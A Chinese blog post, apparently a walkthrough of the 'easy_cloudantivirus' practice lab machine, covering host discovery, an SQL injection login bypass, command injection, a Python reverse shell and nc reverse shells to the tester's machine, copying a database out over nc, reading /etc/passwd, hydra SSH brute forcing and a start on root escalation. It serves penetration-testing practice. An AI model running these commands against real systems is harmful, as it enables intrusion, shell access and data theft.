打靶第二周-easy_cloudantivirus

最新推荐文章于 2024-09-18 22:48:53 发布

dydymm

最新推荐文章于 2024-09-18 22:48:53 发布

阅读量1.9k

点赞数 3

分类专栏：渗透测试文章标签：安全

本文链接：https://blog.youkuaiyun.com/wcwdnmdnmd/article/details/120252250

版权

渗透测试专栏收录该内容

19 篇文章

订阅专栏

靶机地址

easy_cloudantivirus

攻击手段

端口扫描
WEB侦查
SQL注入
命令注入
密码爆破
代码审计
NC串联
本地提权

所用工具

arping
nmap
hydra
nc
burp
sqlite

开始攻击

主机发现

使用arping来发现
因为arping一次只能扫一个可使用for i in $(seq 1 254);do arping -c 2 192.168.168.$i;done来扫描网段
在这里插入图片描述

也可使用nmap 192.168.168.0/24发现主机

在这里插入图片描述
可看到目标主机开了22和8080端口，扫描具体的端口和服务nmap -p22,8080 -sV 192.168.168.14

访问8080
在这里插入图片描述
发现是一个云病毒扫描
需要使用邀请码登录。
这样就有两种方法

暴力破解
sql注入

sql注入

抓包后，可以尝试所有的特殊符号33个。发现"报错查看页面后
在这里插入图片描述
看到sql语句
select * from code where password="' + password + '"
这样就可以闭合sql语句
使用or 1=1使条件永为真
即输入"or 1=1--+

成功进入
当输入hello中时

命令执行

由上面得，我们猜测在后端执行的命令得逻辑为
avscan hello |ls
这样输入hello |ls得到
在这里插入图片描述
成功！

反弹shell

因为本机有python2环境，可使用上次使用的反弹shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.168.13",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

但这次尝试nc反弹shell

查看是否有nc

hello |which nc
在这里插入图片描述
返回了路径，证明有nc

开启侦听nc反弹

kali端执行nc -nlvp 4444命令
浏览器执行hello |nc 192.168.168.13 4444 -e /bin/sh失败了
可能是因为此nc版本不支持-e参数
删除-e，可收到链接。
hello |nc 192.168.168.13 4444
在这里插入图片描述

nc串联

查看文件

有app.py和datebase.aql
file database.sql

尝试sqlite失败，这样可以下载下来查看

下载文件

开启nc侦听5555端口并将得到的数据存入db.sql。
nc -nlvp 5555 > db.sql
之后在3333端口执行nc 192.168.168.13 5555 < database.sql
在这里插入图片描述
并使用sqlite打开

可看到插入数据。

查看目标中有哪些用户

在3333端口执行cat /etc/passwd
在这里插入图片描述
使用cat /etc/passwd | grep /bin/bash筛选出具有shell执行权限的用户

有三个：root，cloudav，scanner

制作字典

创建vi user.txt
在这里插入图片描述
创建vi pass.txt

ssh爆破

命令hydra -L user.txt -P pass.txt ssh://192.168.168.14

在这里插入图片描述
可惜失败了！

查看其他文件

在上一级目录中发现了相同名称的文件
在这里插入图片描述
在ls -l后发现updata_cloudav文件得所有者是root

这样若我们能进行命令注入将得到root权限
查看源文件cat update_cloudav.c

可看到在执行该文件时需在后面加命令

看到调用了log
猜测也可调用nc